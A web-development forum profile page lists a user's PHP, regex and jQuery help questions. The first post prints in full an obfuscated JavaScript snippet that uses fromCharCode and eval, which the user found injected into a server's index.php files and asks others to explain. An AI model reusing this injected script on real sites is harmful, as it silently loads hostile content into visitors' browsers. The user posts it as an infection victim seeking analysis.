Jump to content

CosmosRP

Members
  • Posts

    11
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

CosmosRP's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. <script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{if(/12/.exec(23).index==0);}catch(qqq){s=String;}ee='e';e=window.eval;t='y';}h=2*Math.cos(Math.PI);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,25.5,24,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,25.5,24,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];f='f'+'r'+'o'+'mChar';for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'Code'](-h*(1+n[j]));}q=ss;e(q);</script> Recently, I found this code at the header of all index.php files on one of my neglected test servers. I've googled portions of it and its returned websites that are infected with malware (according to google). Soo... i'm assuming that this is malicious code. Does anyone know what its doing? Seen it before? And how did it get there? Did my host get hacked? (shared hosting account).
  2. Hey guys: If I some multi-dimensional arrays, like so: array { array { [0]=> "Path1" [1]=> "10" } } array { array { [0]=> "Path2" [1]=> "16" } array { [0]=> "Path3" [1]=> "110" } } How can I add all of the values of key 1? I know its a foreach loop, but I can't figure it out... would it be this?
  3. preg_match('/\<color\i*=\042[0-9A-Za-z]+?\042\s*>/', $M); Currently, this only matches <color="">, but I want it to be case insensitve and also match <COLOR. Is that possible?
  4. Okay, this is basically what i'm doing: <script type="text/javascript"> $(document).ready(function() { $("*").each(function(e) { this.style.color = this.nodeName; }); }); </script> Basically, when it identifies stuff like <red>Test</red> and the output would be the color red. I am trying to create custom html tags, so that people can type <pink>My test</pink> and their text would come out pink! Its a neat idea, but there are two problems: I don't understand how this code works (it makes no sense to me and i was hoping someone could explain it) and secondly, is there a way that I can make this code pick up on html entities instead? For example: <pink&rt;My test&lt/pink&rt; - Can this code be modified to pick up on this too instead of < and >? I don't want to comprise security by allowing unsanitized strings to be posted.
  5. Is there a way to keep people from executing code, but allowing < and >'s? I don't want to convert them to their HTML entities ( ex. < ), I want to keep them the way they are. But I don't want people typing <script> and what not.
  6. Hey guys. How do you remove a specific element from an array? Lets say I have a string like this: $list = "guy,girl,boy,man,woman,lady"; Then I use explode to break it up into an array by commas: $listArray = explode(",",$list); Now $listArray contains everything. Now if I wanted to delete something specific from that array, how would I do that? So for example, I want to delete "man" out of the array. How do I do that without know its key?
  7. Lets say I have an array of different values... for example, $alreadyViewed = array("hi.jpg","cow.jpg","dog.png"); Lets say my database contains: animals.jpg cat.jpg cow.jpg hi.jpg dog.png How do you I tell MySQL to only fetch the remaining entries? And ignore everything in the $alreadyViewed array?
  8. I've tried almost everything and I can't seem to figure out why this wont work... =( Can someone please help? <?php error_reporting(E_ALL); // must CHMOD this folder to 777 $folder = "uploads/"; $mime_types = array("audio/mp3","audio/mpeg","audio/mpeg3","audio/x-mpeg-3"); // make sure the file was uploaded and that it isnt too big if (isset($_POST['submitted'])) { if (!is_uploaded_file($_FILES['upload']['tmp_name'])) { $Error = "upload failed"; } elseif ($_FILES['upload']['size'] > 52428800) { $Error = "too big"; } //check mime type foreach ($mime_types as $type) { if ($_FILES['upload']['type'] != $type) { $Error = "wrong type"; } } //make sure it doesnt already exist if (file_exists("".$folder."".$_FILES['upload']['name']."")) { $Error = "file exists"; } if (!isset($Error)) { move_uploaded_file($_FILES['upload']['tmp_name'],$folder); $success = "file was uploaded!"; } } ?> <html> <head> <title></title> </head> <body> <? echo "<p>".$Error."</p>"; ?> <? echo "<p>".$success."</p>"; ?> <form action="<?=$_SERVER['PHP_SELF']; ?>" method="post" accept-charset="utf-8"> <p> <label>Upload Mp3</label> <input type="file" name="upload" id="upload" enctype="multipart/form-data" /></p> <p class="submit"><input type="submit" size="20" name="submitted" value="Create Event" /></p> </form> </body> </html>
  9. ..well, which line is 91? Personally, I try to stay away from stuff like: ' . $item_details['name'] . ' I usually put this stuff into $variables anyways to avoid such errors.
  10. I currently have a regex: (\074color\s*=\042[0-9A-Za-z]+?\042\s*\076.*<\057color>) .. that matches " <color="hexcode/colorname">anything[wildcard]</color> " However, I want to change this so that it matches: " lt;color="HEXCODE/COLORNAME">ANYTHING[WILDCARD]</color> I imagine its just a simple matter of editing the original regex, but i'm really inexperienced when it comes to this stuff. Can someone help? =O
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.